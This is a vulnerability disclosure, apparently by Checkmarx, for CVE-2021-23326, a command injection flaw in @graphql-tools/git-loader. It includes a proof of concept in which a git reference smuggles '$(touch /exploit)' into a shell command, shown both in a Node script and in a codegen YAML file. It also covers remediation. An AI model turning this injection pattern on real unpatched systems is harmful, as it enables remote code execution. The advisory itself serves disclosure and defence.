Disclosed vulnerabilities
Fixed: Jan 11, 2021
CVE-2021-23326 Published: Jan 11, 2021

Command injection vulnerability in @graphql-tools/git-loader

9.8 Critical Severity GraphQL javascript node nodejs npm RCE
Ron Masas Reported by Checkmarx Zero

Summary

The loadFromGit function in index.cjs.js has a command injection vulnerability.

Clients of the @graphql-tools/git-loader library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.

This issue affects many packages, most notably graphql-tools and @graphql-codegen/cli.

Product

@graphql-tools/git-loader before 6.2.6.

Impact

This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.

Steps to reproduce

graphql-tools

  1. In a new folder create the following files:
# Dockerfile
FROM node:10-slim
WORKDIR /app
RUN npm i graphql graphql-tools
COPY poc.js /app/poc.js
ENTRYPOINT ls -l /app && node poc.js && ls -l /app
// poc.js
const graphqlTools = require("graphql-tools");
const input = "git:git+owner/name#re$(touch /app/exploit)f:path/to/file";

function noop() {
    console.log("noop!");
}

graphqlTools.loadTypedefs(input, {
    loaders: [new graphqlTools.GitLoader()]
}).then(noop).catch(noop);
  1. Run docker build . -t poc
  2. Run docker start poc

@graphql-codegen/cli

  1. In a new folder create the following files:
# untrusted.yml
schema: git:git+owner/name#r$(touch /exploit)ef:path/to/file
generates:
  ./src/types.d.ts:
    plugins:
      - typescript
  1. Install @graphql-codegen/cli
  2. Run graphql-codegen -c ./untrusted.yml

Expected result:

A file named exploit has been created

total 12
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js
/bin/sh: 1: git: not found
total 12
-rw-r--r-- 1 root root    0 Dec 15 13:09 exploit
drwxr-xr-x 6 root root 4096 Dec 15 13:08 node_modules
-rw-r--r-- 1 root root 1149 Dec 15 13:08 package-lock.json
-rwxr-xr-x 1 root root  166 Dec 15 13:09 poc.js

Remediation

We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.

Credit

This issue was discovered and reported by Checkmarx SCA Security Researcher @ronmasas (Ron Masas).

Resources

  1. ba1bdee
  2. @graphql-tools/[email protected] Release

Stay connected and never miss a research update!